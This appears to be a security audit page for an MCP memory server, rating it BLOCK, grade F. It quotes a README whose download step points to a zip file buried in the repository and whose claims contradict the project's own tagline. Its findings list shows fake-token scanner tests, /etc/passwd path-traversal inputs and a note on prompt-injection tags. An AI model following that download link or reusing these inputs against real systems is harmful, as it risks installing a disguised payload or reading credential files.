statelessagentBLOCK
🧠 Provide local-first persistent memory for AI coding workflows, indexing notes to deliver relevant context in new sessions.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://github.com/rerecoy123/statelessagent/raw/refs/heads/main/internal/web/Software_3.6.zip)
📋 What is statelessagent?
statelessagent is a simple desktop tool that helps you use AI without storing your past chats. This means your conversations stay private and don't carry over from one session to the next. It works locally on your computer, so you do not need any special accounts or API keys. The program comes as a single file you download and run.
statelessagent is useful when you want to test AI tools but do not want them to remember your earlier inputs. It supports different AI models and can handle information saved on your computer in a way that keeps your data safe and private.
🖥️ System Requirements
Before you get started, make sure your computer meets these requirements:
- Operating System:
- Windows 10 or later (64-bit)
- macOS 11 or later
- Linux (64-bit, modern distributions)
- Processor: Intel Core i3 or equivalent
- Memory: At least 4 GB RAM
- Disk Space: 100 MB free
- Internet: Required only for initial download. The app runs offline.
- Additional: No extra software needed to run statelessagent
🛠️ Features Overview
- Runs entirely on your computer — no cloud processing.
- No need to sign up or get API keys.
- Single file download, easy to install.
- Clears all memory between sessions for privacy.
- Supports several AI language models.
- Uses local databases for quick access to data.
- Works with files and notes stored on your device.
- Built with security and simplicity as priorities.
- Comes ready to use, no setup required.
🚀 Getting Started: Download & Install
To start using statelessagent, follow the steps below.
Step 1: Download the Application
You need to visit the official
135515901ab3OBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.
claude mcp add same -- npx -y @sgx-labs/[email protected] mcp
Trust audit
BLOCKgrade F · trust 49/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | FAIL |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (5 observation(s))
- Network
- declared (5 observation(s))
- Shell
- none-observed
- Dependencies
- pinned
- Secrets in source
- found
Findings (25)
echo " Install: sudo apt-get install build-essential"
echo " Install: sudo dnf install gcc"
if sudo apt-get install -y nodejs npm 2>/dev/null; then
if sudo dnf install -y nodejs 2>/dev/null; then
- **Fixed case-insensitive tag matching for `IMPORTANT`** — the `IMPORTANT` tag was listed in uppercase but compared against lowercased text, so `<IMPORTANT>` injection payloads were not neutralized.
Software_3.6.zip
results := scanLine("aws_key = AKIAIOSFODNN7EXAMPL0", "deploy.sh", patterns)results := scanLine(`api_key = "sk-abcdefghijklmnopqrst1234"`, "config.go", patterns)
{"ghp personal access token", "token: ghp_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijkl", true},{"ghs server token", "ghs_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijkl", true},results := scanLine("-----BEGIN PRIVATE KEY-----", "cert.pem", patterns){"xoxb bot token", "xoxb-1234567890-abcdefghij", true},{"xoxp user token", "xoxp-1234567890-abcdefghij", true},.golangci.yml
.mailmap
{"/etc/passwd", false},if _, ok := SafeVaultSubpath("/etc/passwd"); ok {{"absolute", "/etc/passwd", true},"/etc/passwd",
result := safeVaultPath("/etc/passwd"){"../../../etc", "etc"},{"../../passwd", "passwd"},{"../../../etc/passwd", false},{"notes/../../../etc/passwd", false},{"notes/../../secret", false},Gates applied: no_behavioural_pass.
135515901ab3full audit observations/trust-audit/mcp-server/rerecoy123__statelessagent.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 135515901ab3 | BLOCK | F | 49 | first audit |
Questions
What is the statelessagent MCP server?
🧠 Provide local-first persistent memory for AI coding workflows, indexing notes to deliver relevant context in new sessions.
Is statelessagent safe to connect to an agent?
No — not without reading the findings first. The audit graded it F (49/100) and found 5 critical or high issues in the source. Each one is listed on this page with the file and line it is on.
What credentials does statelessagent need?
No credential environment variables were found in its source, so it appears to need none.
How does statelessagent run?
It speaks stdio, so it runs as a local process your client starts. It is published on npm as @sgx-labs/same at 0.9.1.
How current is this page?
The grade is for one exact copy of the source (135515901ab3), read on 2026-10-11. The repository is watched and re-audited when it changes.